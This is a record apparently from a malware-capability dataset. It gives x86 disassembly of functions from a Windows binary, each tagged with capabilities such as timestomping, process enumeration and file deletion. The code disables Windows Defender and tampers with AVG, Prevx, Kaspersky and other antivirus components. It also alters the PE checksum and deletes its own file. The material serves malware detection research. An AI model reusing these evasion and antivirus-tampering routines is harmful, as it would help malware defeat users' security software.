joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4011e0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push esi
push edi
mov edi, eax
xor eax, eax
mov dword [ebp - 0xc], eax
test edi, edi
je 0x40131c
cmp dword [ebp + 8], eax
je 0x40131c
test ebx, ebx
je 0x40131c
push eax
push 0x80
push 2
push eax
push 3
push 0xc0000000
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x401319
call fcn.00402230
test eax, eax
je 0x40128a
push 0
lea eax, [ebp - 8]
push eax
push 1
push 0x4045bc
call dword [sym.imp.ADVAPI32.dll_ConvertStringSecurityDescriptorToSecurityDescriptorW]
test eax, eax
je 0x40128a
lea ecx, [ebp - 0x10]
push ecx
mov ecx, dword [ebp - 8]
lea edx, [ebp - 4]
push edx
lea eax, [ebp - 0x14]
push eax
push ecx
mov dword [ebp - 4], 0
call dword [sym.imp.ADVAPI32.dll_GetSecurityDescriptorSacl]
test eax, eax
je 0x401280
mov edx, dword [ebp - 4]
push edx
push 0
push 0
push 0
push 0x10
push 1
push edi
call dword [sym.imp.ADVAPI32.dll_SetNamedSecurityInfoA]
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
push 1
push 0
push 0
push esi
mov dword [ebp - 8], 0
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
push ebx
push 0
mov edi, eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_LockFile]
mov edx, dword [ebp + 8]
push 0
lea ecx, [ebp - 8]
push ecx
push ebx
push edx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
push ebx
push 0
push edi
push esi
mov dword [ebp + 8], eax
call dword [sym.imp.KERNEL32.dll_UnlockFile]
cmp dword [ebp + 8], 0
je 0x4012e5
push esi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov edi, 1
test eax, eax
jne 0x4012e8
mov edi, dword [ebp - 0xc]
mov dword [ebp + 8], 0
test esi, esi
je 0x40130f
lea eax, [ebp + 8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x40130f
test byte [ebp + 8], 2
jne 0x40130f
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4
mov eax, dword [ebp - 0xc]
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x401330
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
xor esi, esi
push edi
mov dword [ebp - 0xc], esi
cmp eax, esi
je 0x40145b
push esi
push 0x80
push 3
push esi
push 3
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x40145b
lea eax, [ebp - 0x1c]
push eax
push edi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x18], esi
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov ebx, dword [ebp - 0x1c]
mov dword [ebp - 0xc], ebx
test ebx, ebx
je 0x401434
lea eax, [ebx + 0x13]
and eax, 0xfffffff0
push eax
push 8
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0x4013b5
mov ecx, dword [ebp - 8]
push ecx
push 0
push esi
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 8], esi
test esi, esi
je 0x401434
push 1
push 0
push 0
push edi
mov dword [ebp - 0x10], 0
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
push ebx
push 0
push eax
push edi
mov dword [ebp - 0x14], eax
call dword [sym.imp.KERNEL32.dll_LockFile]
push 0
lea edx, [ebp - 0x10]
push edx
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push 0
push ebx
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x14]
push 0
push eax
push edi
call dword [sym.imp.KERNEL32.dll_UnlockFile]
cmp dword [ebp - 0x18], 0
jne 0x401431
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push esi
push 0
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapValidate]
test eax, eax
je 0x40142a
push esi
push 0
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov dword [ebp - 8], 0
mov esi, dword [ebp - 8]
mov dword [ebp - 8], 0
test edi, edi
je 0x40145b
lea ecx, [ebp - 8]
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x40145b
test byte [ebp - 8], 2
jne 0x40145b
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [ebp + 8]
test edi, edi
je 0x40147f
push 4
push edi
call dword [sym.imp.KERNEL32.dll_IsBadWritePtr]
test eax, eax
mov eax, esi
jne 0x401481
mov edx, dword [ebp - 0xc]
mov dword [edi], edx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x401490
Capabilities:
Check if file exists
Delete file
Get common file path
Move file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x328
xor eax, eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
mov dword [ebp - 4], eax
push 0x1c
lea eax, [ebp - 0x1c]
push eax
push 0x4020e0
mov dword [ebp - 0x1c], 0
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
mov edx, dword [ebp - 0x18]
push 0x104
lea ecx, [ebp - 0x224]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x224]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x401560
push esi
lea ecx, [ebp - 0x328]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea edx, [ebp - 0x120]
push edx
push 0
push 0
lea eax, [ebp - 0x328]
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
mov esi, dword [sym.imp.KERNEL32.dll_MoveFileExA]
push 1
lea ecx, [ebp - 0x120]
push ecx
lea edx, [ebp - 0x224]
push edx
call esi
test eax, eax
je 0x40155f
push 0
lea eax, [ebp - 0x120]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea ecx, [ebp - 0x120]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x40155f
push 4
push eax
lea edx, [ebp - 0x120]
push edx
call esi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x4018e0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x168
push ebx
push esi
push edi
xor ebx, ebx
push 0x40
lea eax, [ebp - 0x58]
push ebx
push eax
mov dword [ebp - 0x5c], ebx
call sub.MSVCRT.dll_memset
push 0x103
xor eax, eax
lea ecx, [ebp - 0x163]
push ebx
push ecx
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
mov byte [ebp - 0x164], bl
call sub.MSVCRT.dll_memset
mov edx, dword [ebp + 8]
add esp, 0x18
push 0x104
push edx
lea eax, [ebp - 0x164]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
lea ecx, [ebp - 0x14]
push ecx
lea edx, [ebp - 0x5c]
push edx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0x164]
push eax
mov dword [ebp - 0x5c], 0x44
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x4019bf
mov eax, dword [ebp - 0x10]
mov edi, dword [sym.imp.KERNEL32.dll_GetHandleInformation]
mov esi, eax
mov dword [ebp + 8], ebx
cmp eax, ebx
je 0x40198d
lea ecx, [ebp + 8]
push ecx
push eax
call edi
test eax, eax
je 0x40198d
test byte [ebp + 8], 2
jne 0x40198d
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x14]
mov esi, eax
mov dword [ebp + 8], ebx
cmp eax, ebx
je 0x4019b1
lea edx, [ebp + 8]
push edx
push eax
call edi
test eax, eax
je 0x4019b1
test byte [ebp + 8], 2
jne 0x4019b1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x4019d0
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x12c
push ebx
push esi
push edi
xor esi, esi
push 0x124
lea eax, [esp + 0x18]
push esi
push eax
mov dword [esp + 0x18], esi
mov dword [esp + 0x1c], esi
call sub.MSVCRT.dll_memset
add esp, 0xc
push esi
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
jne 0x401a17
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
lea ecx, [esp + 0x10]
push ecx
push esi
mov dword [esp + 0x18], 0x128
call dword [sym.imp.KERNEL32.dll_Process32First]
mov edi, dword [sym.imp.SHLWAPI.dll_StrStrIA]
mov ebx, dword [sym.imp.KERNEL32.dll_Process32Next]
mov edx, dword [ebp + 8]
push edx
lea eax, [esp + 0x38]
push eax
call edi
test eax, eax
jne 0x401a8b
lea ecx, [esp + 0x10]
push ecx
push esi
call ebx
test eax, eax
jne 0x401a37
mov edi, dword [esp + 0xc]
mov dword [esp + 0xc], 0
test esi, esi
je 0x401a80
lea edx, [esp + 0xc]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x401a80
test byte [esp + 0xc], 2
jne 0x401a80
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
mov edi, dword [esp + 0x18]
jmp 0x401a56
Function at 0x401f50
Capabilities:
Access pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov dword [ebp - 4], 0
test eax, eax
je 0x402007
lea ecx, [ebp - 4]
push ecx
call fcn.00401330
mov esi, eax
test esi, esi
je 0x402007
push esi
call dword [sym.imp.ntdll.dll_RtlImageNtHeader]
mov ebx, eax
test ebx, ebx
je 0x401fe5
rdtsc
xor dword [0x45984c], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor dword [0x45984c], eax
push 0x404560
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
je 0x401fc5
push 0x40456c
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x401fc5
push 0x45984c
call eax
mov ecx, dword [0x45984c]
mov eax, ecx
xor edx, edx
or edi, 0xffffffff
div edi
push esi
add eax, ecx
mov dword [ebx + 0x58], eax
mov ebx, dword [ebp - 4]
mov eax, dword [ebp + 8]
call fcn.004011e0
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push esi
push 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapValidate]
test eax, eax
je 0x402007
push esi
push 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x402010
Capabilities:
Timestomp file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0
push 0x80
push 3
push 0
push 3
push 0x80000000
push str._globalroot_systemroot_system32drivers_ntfs.sys
call edi
mov esi, eax
cmp esi, 0xffffffff
je 0x4020d5
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 0x18]
push ecx
lea edx, [ebp - 0x20]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_GetFileTime]
mov dword [ebp - 8], 0
test esi, esi
je 0x40207c
lea eax, [ebp - 8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x40207c
test byte [ebp - 8], 2
jne 0x40207c
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp + 8]
push 0
push 0x80
push 3
push 0
push 3
push 0xc0000000
push ecx
call edi
mov esi, eax
cmp esi, 0xffffffff
je 0x4020d5
lea edx, [ebp - 0x10]
push edx
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x20]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
mov dword [ebp + 8], 0
test esi, esi
je 0x4020d5
lea edx, [ebp + 8]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x4020d5
test byte [ebp + 8], 2
jne 0x4020d5
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x402120
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x228
push ebx
push esi
push edi
mov edi, eax
xor eax, eax
push 0x220
push eax
mov dword [ebp - 4], eax
mov dword [ebp - 0x228], eax
lea eax, [ebp - 0x224]
push eax
call sub.MSVCRT.dll_memset
mov ebx, dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
add esp, 0xc
push edi
push 8
call ebx
mov esi, eax
cmp esi, 0xffffffff
jne 0x4021b8
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x18
jne 0x40221b
call dword [sym.imp.KERNEL32.dll_SwitchToThread]
push edi
push 8
call ebx
mov esi, eax
cmp esi, 0xffffffff
je 0x40221b
mov edi, dword [ebp - 4]
mov dword [ebp - 4], 0
test esi, esi
je 0x4021af
lea ecx, [ebp - 4]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x4021af
test byte [ebp - 4], 2
jne 0x4021af
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
lea ecx, [ebp - 0x228]
push ecx
push esi
mov dword [ebp - 0x228], 0x224
call dword [sym.imp.KERNEL32.dll_Module32First]
test eax, eax
je 0x402185
mov edi, dword [sym.imp.SHLWAPI.dll_StrStrIA]
mov ebx, dword [sym.imp.KERNEL32.dll_Module32Next]
push 0x404598
lea edx, [ebp - 0x208]
push edx
call edi
test eax, eax
je 0x4021fe
push 0x4045a0
push eax
call edi
test eax, eax
jne 0x402211
lea eax, [ebp - 0x228]
push eax
push esi
call ebx
test eax, eax
jne 0x4021e0
jmp 0x402185
mov edi, 1
jmp 0x402188
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x402510
Capabilities:
Get common file path
Get program files directory
Set current directory

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4052b0
push 0x403fa2
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x110
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
xor ebx, ebx
mov byte [ebp - 0x120], bl
push 0x103
push ebx
lea eax, [ebp - 0x11f]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
xor esi, esi
lea ecx, [ebp - 0x120]
push ecx
push ebx
push ebx
push 0x26
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
js 0x4025d7
push str.Windows_Defender
lea edx, [ebp - 0x120]
push edx
call dword [sym.imp.SHLWAPI.dll_PathAppendA]
lea eax, [ebp - 0x120]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
test eax, eax
je 0x4025d7
push str.MpClient.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
mov dword [ebp - 0x1c], esi
cmp esi, ebx
je 0x4025d7
push str.WDEnable
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp eax, ebx
je 0x4025d7
mov dword [ebp - 4], ebx
push ebx
call eax
mov dword [ebp - 4], 0xffffffff
jmp 0x4025d7
test esi, esi
je 0x4025e2
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x402600
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xbc
push ebx
xor ebx, ebx
push esi
push ebx
push 0x80
push 3
push ebx
push ebx
push ebx
push str..KmxAgent
mov dword [ebp - 0xb4], 0xb4
mov dword [ebp - 0xb0], 0x10
mov dword [ebp - 0xac], ebx
mov dword [ebp - 0xa8], ebx
mov dword [ebp - 0xa4], ebx
mov dword [ebp - 0xa0], ebx
mov dword [ebp - 0x9c], ebx
mov dword [ebp - 0x98], ebx
mov dword [ebp - 0x94], ebx
mov dword [ebp - 0x90], ebx
mov dword [ebp - 0x8c], 0x7b761e52
mov dword [ebp - 0x88], 0x1c94cc7
mov dword [ebp - 0x84], ebx
mov dword [ebp - 0x80], ebx
mov dword [ebp - 0x7c], ebx
mov dword [ebp - 0x78], ebx
mov dword [ebp - 0x74], 1
mov dword [ebp - 0x70], 1
mov dword [ebp - 0x6c], ebx
mov dword [ebp - 0x68], 1
mov dword [ebp - 0x64], 0x20000000
mov dword [ebp - 0x60], 0x1210064
mov dword [ebp - 0x5c], 0x22
mov dword [ebp - 0x58], ebx
mov dword [ebp - 0x54], 0x4d0007
mov dword [ebp - 0x50], 0x730065
mov dword [ebp - 0x4c], 0x610073
mov dword [ebp - 0x48], 0x650067
mov dword [ebp - 0x44], 0x420000
mov dword [ebp - 0x40], 0xb0022
mov dword [ebp - 0x3c], 0x490000
mov dword [ebp - 0x38], 0x530053
mov dword [ebp - 0x34], 0x560045
mov dword [ebp - 0x30], 0x4e0045
mov dword [ebp - 0x2c], 0x490054
mov dword [ebp - 0x28], 0x3d0044
mov dword [ebp - 0x24], 0x300034
mov dword [ebp - 0x20], 0x320030
mov dword [ebp - 0x1c], 0x650000
mov dword [ebp - 0x18], 0x70006d
mov dword [ebp - 0x14], 0x790074
mov dword [ebp - 0x10], 0x45003d
mov dword [ebp - 0xc], 0x70006d
mov dword [ebp - 8], 0x790074
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x402780
push ebx
lea eax, [ebp - 0xbc]
push eax
push 4
lea ecx, [ebp - 0xb8]
push ecx
push 0xb4
lea edx, [ebp - 0xb4]
push edx
push 0x86000054
push esi
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x402790
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
push ebx
xor ebx, ebx
push esi
push ebx
push 0x80000080
xor eax, eax
push 3
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x18]
push eax
push 3
push 0xc0000000
push str..pipe_acsipc_server
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0x60], 0xd48a445e
mov dword [ebp - 0x5c], 0x466e1597
mov dword [ebp - 0x58], 0x327416ba
mov dword [ebp - 0x54], 0x68ccde15
mov dword [ebp - 0x50], 5
mov dword [ebp - 0x4c], ebx
mov dword [ebp - 0x48], 0x11
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x3c], 0x11
mov dword [ebp - 0x38], 0xb5cb6c63
mov dword [ebp - 0x34], 0x46df52db
mov dword [ebp - 0x30], 0x65aa6b83
mov dword [ebp - 0x2c], 0x229bf18e
mov dword [ebp - 0x28], 1
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x20], ebx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x402874
push edi
mov edi, dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
lea ecx, [ebp - 4]
push ecx
push 0x28
lea edx, [ebp - 0x60]
push edx
push esi
call edi
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 8]
push ebx
lea eax, [ebp - 4]
push eax
mov dword [ebp - 0x23], ecx
push 0x1c
lea ecx, [ebp - 0x38]
push ecx
push esi
mov dword [ebp - 0x1f], edx
call edi
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x402880
Capabilities:
Get common file path
Get program files directory
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
lea eax, [ebp - 0x104]
push eax
push 0
push 0
push 0x26
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
cmp eax, 1
je 0x402965
xor eax, eax
lea esp, [esp]
mov cl, byte [ebp + eax - 0x104]
mov byte [ebp + eax - 0x208], cl
inc eax
test cl, cl
jne 0x4028b0
lea eax, [ebp - 0x104]
dec eax
lea ebx, [ebx]
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x4028d0
mov ecx, dword [str.AVGAVG9dfncfg.dat]
mov edx, dword [0x404e0c]
mov dword [eax], ecx
mov ecx, dword [0x404e10]
mov dword [eax + 4], edx
mov edx, dword [0x404e14]
mov dword [eax + 8], ecx
mov ecx, dword [0x404e18]
mov dword [eax + 0xc], edx
mov dl, byte [0x404e1c]
mov dword [eax + 0x10], ecx
mov byte [eax + 0x14], dl
lea eax, [ebp - 0x208]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x402914
mov ecx, dword [str.AVGAVG9dfmcfg.dat]
mov edx, dword [0x404e24]
mov dword [eax], ecx
mov ecx, dword [0x404e28]
mov dword [eax + 4], edx
mov edx, dword [0x404e2c]
mov dword [eax + 8], ecx
mov ecx, dword [0x404e30]
mov dword [eax + 0xc], edx
mov dl, byte [0x404e34]
mov dword [eax + 0x10], ecx
mov byte [eax + 0x14], dl
lea eax, [ebp - 0x208]
push eax
lea ecx, [ebp - 0x104]
push ecx
call dword [sym.imp.KERNEL32.dll_MoveFileA]
mov esp, ebp
pop ebp
ret
Function at 0x402970
Capabilities:
Get common file path
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
lea eax, [ebp - 0x10c]
push eax
push 0
push 0
push 0x23
push 0
mov byte [ebp - 1], 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
cmp eax, 1
je 0x402aa0
lea eax, [ebp - 0x10c]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x4029a2
mov ecx, dword [str.PrevxCSIcsidb.csi]
mov edx, dword [0x404e3c]
push esi
push 0
push 0x80
mov dword [eax], ecx
mov ecx, dword [0x404e40]
push 3
mov dword [eax + 4], edx
mov edx, dword [0x404e44]
push 0
mov dword [eax + 8], ecx
mov ecx, dword [0x404e48]
push 3
mov dword [eax + 0xc], edx
push 0xc0000000
lea edx, [ebp - 0x10c]
push edx
mov dword [eax + 0x10], ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x402a9f
push ebx
push edi
mov edi, dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
push 0
push 0x17a8
push esi
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
lea eax, [ebp - 8]
push eax
push 1
lea ecx, [ebp - 1]
push ecx
push esi
call ebx
push 0
push 0
push 0xb98
push esi
call edi
push 0
lea edx, [ebp - 8]
push edx
push 1
lea eax, [ebp - 1]
push eax
push esi
call ebx
push 0
push 0
push 0x17e4
push esi
call edi
push 0
lea ecx, [ebp - 8]
push ecx
push 1
lea edx, [ebp - 1]
push edx
push esi
call ebx
push 0
push 0
push 0x17dc
push esi
call edi
push 0
lea eax, [ebp - 8]
push eax
push 1
lea ecx, [ebp - 1]
push ecx
push esi
call ebx
push 0
push 0
push 0x3380
push esi
call edi
push 0
lea edx, [ebp - 8]
push edx
push 1
lea eax, [ebp - 1]
push eax
push esi
call ebx
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop ebx
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x403030
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push ebx
push esi
push edi
push 0x404f2c
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0x104
lea eax, [ebp - 0x10c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call fcn.00403dc0
test eax, eax
je 0x40306c
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.00402600
call fcn.00402510
push 0
push str.____AVP.Root
call dword [sym.imp.USER32.dll_FindWindowA]
mov esi, eax
test esi, esi
je 0x4030a1
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
push 0x10001
push 0x466
push esi
call dword [sym.imp.USER32.dll_PostMessageA]
call fcn.00402790
call fcn.00402880
call fcn.00402970
call fcn.00402ab0
mov ebx, dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
call ebx
test eax, eax
jne 0x4030e3
call fcn.004022d0
test eax, eax
je 0x4030d2
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.00403850
test eax, eax
je 0x4030e3
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call ebx
push 0x404578
mov edi, eax
mov dword [ebp - 8], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
je 0x40311c
push 0x404588
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x40311c
lea ecx, [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
cmp dword [ebp - 8], 0
je 0x40316e
test edi, edi
je 0x40313c
push str._apppatch_
lea edx, [ebp - 0x10c]
push edx
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
je 0x40315f
lea eax, [ebp - 0x10c]
call section..text
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
call fcn.00401aa0
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x403252
call fcn.00402d60
call fcn.00401490
jmp 0x403252
lea eax, [ebp - 0x10c]
test edi, edi
je 0x4031fd
push str._apppatch_
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
je 0x4031a1
lea eax, [ebp - 0x10c]
call section..text
call fcn.00402d00
jmp 0x403252
call fcn.00402d60
push 0x404eb0
call dword [sym.imp.KERNEL32.dll_GlobalFindAtomA]
test ax, ax
jne 0x4031f6
push 0x404eb0
call dword [sym.imp.KERNEL32.dll_GlobalAddAtomA]
call ebx
test eax, eax
je 0x4031d7
lea ecx, [ebp - 1]
push ecx
push 0
push 1
push 0x14
call dword [sym.imp.ntdll.dll_RtlAdjustPrivilege]
call ebx
test eax, eax
mov eax, 0x404ecc
jne 0x4031e7
mov eax, 0x404edc
push eax
call fcn.004019d0
test eax, eax
je 0x4031f6
call fcn.00401aa0
call fcn.00401490
jmp 0x403252
call section..text
push 0x404eb0
call dword [sym.imp.KERNEL32.dll_GlobalFindAtomA]
test ax, ax
jne 0x403252
push 0x404eb0
call dword [sym.imp.KERNEL32.dll_GlobalAddAtomA]
call ebx
test eax, eax
je 0x403233
lea edx, [ebp - 1]
push edx
push 0
push 1
push 0x14
call dword [sym.imp.ntdll.dll_RtlAdjustPrivilege]
call ebx
test eax, eax
mov eax, 0x404ecc
jne 0x403243
mov eax, 0x404edc
push eax
call fcn.004019d0
test eax, eax
je 0x403252
call fcn.00401aa0
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]